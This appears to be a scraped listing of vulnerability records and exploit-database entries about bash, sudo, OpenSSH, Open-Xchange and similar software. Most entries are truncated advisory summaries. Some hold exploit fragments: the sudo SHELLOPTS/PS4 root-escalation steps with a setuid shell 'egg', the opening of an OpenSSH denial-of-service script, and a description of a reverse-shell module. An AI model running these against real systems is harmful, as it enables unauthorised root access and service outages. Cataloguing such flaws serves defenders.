BlueCat Networks Adonis 5.0.2.8 - CLI Privilege Escalation

source: https://www.securityfocus.com/bid/25342/info BlueCat Networks Adonis devices are prone to a remote privilege-escalation vulnerability because the software fails to properly sanitize user-supplied input. An attacker with administrative privileges can exploit this issue to execute arbitrary...

AsteriDex 3.0 - callboth.php Remote Code Execution

AsteriDex 3.0 - callboth.php Remote Code Execution Begin exploit !/bin/bash echo Asteridex PoC Exploit callboth.php vulnerability echo By Carl Livitt / Hoku Security / June 2007 echo This has to be a a valid SIP address, and b must answer when dialled. The exploit will fail without these conditio...

openssh43p1DoS.txt

!/bin/bash OpenSSH CRC compensation attack detection DoS PoC. Tavis Ormandy Yes, I really did implement crc-32 in bash. usage: script victim hostname hostname=$1:-localhost port=$2:-22 where the fifo is created to communicate with netcat fifo=/tmp/nc.$$ make the fifos mkfifo $fifo.in mkfifo...

OpenSSH <= 4.3 p1 (Duplicated Block) Remote Denial of Service Exploit

No description provided by source. !/bin/bash OpenSSH CRC compensation attack detection DoS PoC. Tavis Ormandy [email protected] Yes, I really did implement crc-32 in bash. usage: script hostname victim hostname hostname=$1:-localhost port=$2:-22 where the fifo is created to communicate with netc...

OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service

!/bin/bash OpenSSH CRC compensation attack detection DoS PoC. Tavis Ormandy Yes, I really did implement crc-32 in bash. usage: script victim hostname hostname=$1:-localhost port=$2:-22 where the fifo is created to communicate with netcat fifo=/tmp/nc.$$ make the fifos mkfifo $fifo.in mkfifo...

Linux Kernel 2.6.13 2.6.17.4 - logrotate prctl() Local Privilege Escalation

Linux Kernel 2.6.13 2.6.17.4 - logrotate prctl Local Privilege Escalation / $Id: raptorprctl2.c,v 1.3 2006/07/18 13:16:45 raptor Exp $ raptorprctl2.c - Linux 2.6.x suiddumpable2 logrotate Copyright c 2006 Marco Ivaldi The suiddumpable support in Linux kernel 2.6.13 up to versions before 2.6.17.4,...

Open Exchange default account

mailadmin/secret LDAP account is created during installation with /bin/bash login shell...

Wavecon Advisory: Open-Xchange <= 0.8.2 defaultuser with /bin/bash and default password

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Advisory Name Open-Xchange defaultuser with /bin/bash Vendor Open-Xchange Inc. Product Open-Xchange Version 0.8.2 Author Cemil Degirmenci Risk high o Description: ======================= The OPEN-XCHANGE Collaboration and Integration Server Environmen...

FreeBSD : sudo -- arbitrary command execution (1b725079-9ef6-11da-b410-000e0c2e438a)

Tavis Ormandy reports : The bash shell uses the value of the PS4 environment variable after expansion as a prefix for commands run in execution trace mode. Execution trace mode xtrace is normally set via bash's -x command line option or interactively by running 'set -o xtrace'. However, it may al...

bash security update

CentOS Errata and Security Advisory CESA-2005:206-8 Merged security bulletin from advisories: https://lists.centos.org/pipermail/centos-announce/2006-March/074928.html Affected packages: bash bash-doc...

CVE-2006-0848

The "Open 'safe' files after downloading" option in Safari on Apple Mac OS X allows remote user-assisted attackers to execute arbitrary commands by tricking a user into downloading a MACOSX folder that contains metadata resource fork that invokes the Terminal, which automatically interprets the...

Ubuntu 4.10 : sudo vulnerability (USN-28-1)

Liam Helmer discovered an input validation flaw in sudo. When the standard shell 'bash' starts up, it searches the environment for variables with a value beginning with ''. For each of these variables a function with the same name is created, with the function body filled in from the environment...

Unix Command Shell, Reverse TCP (/dev/tcp)

Creates an interactive shell via bash's builtin /dev/tcp. This will not work on circa 2009 and older Debian-based Linux distributions including Ubuntu because they compile bash without the /dev/tcp feature. This module requires Metasploit: https://metasploit.com/download Current source:...

sudo privilege escalation

few envoronment vaqriables used by bash perl and python are not cleaned...

Sudo <= 1.6.8p9 (SHELLOPTS/PS4 ENV variables) Local Root Exploit

Exploit for linux platform in category local exploits ================================================================ Sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! % ls...

Sudo 1.6.8p9 - SHELLOPTSPS4 Environment Variables Privilege Escalation

Sudo 1.6.8p9 - SHELLOPTSPS4 Environment Variables Privilege Escalation Sudo local root escalation privilege vuln versions : sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! %...

CVE-2005-2959

Incomplete blacklist vulnerability in sudo 1.6.8 and earlier allows local users to gain privileges via the 1 SHELLOPTS and 2 PS4 environment variables before executing a bash script on behalf of another user, which are not cleared even though other variables are...

CVE-2005-2959

CVE-2005-2959 concerns sudo 1.6.8 and earlier, where the SHELLOPTS and PS4 environment variables are not cleared during privilege-escalation prompts. The result is a local privilege escalation when a user with limited sudo privileges runs a bash script, as these variables can be passed through to...

sudo -- arbitrary command execution

Tavis Ormandy reports: The bash shell uses the value of the PS4 environment variable after expansion as a prefix for commands run in execution trace mode. Execution trace mode xtrace is normally set via bash's -x command line option or interactively by running "set -o xtrace". However, it may als...

CVE-2005-2959: Undefined Security Weakness

Incomplete blacklist vulnerability in sudo 1.6.8 and earlier allows local users to gain privileges via the 1 SHELLOPTS and 2 PS4 environment variables before executing a bash script on behalf of another user, which are not cleared even though other variables are...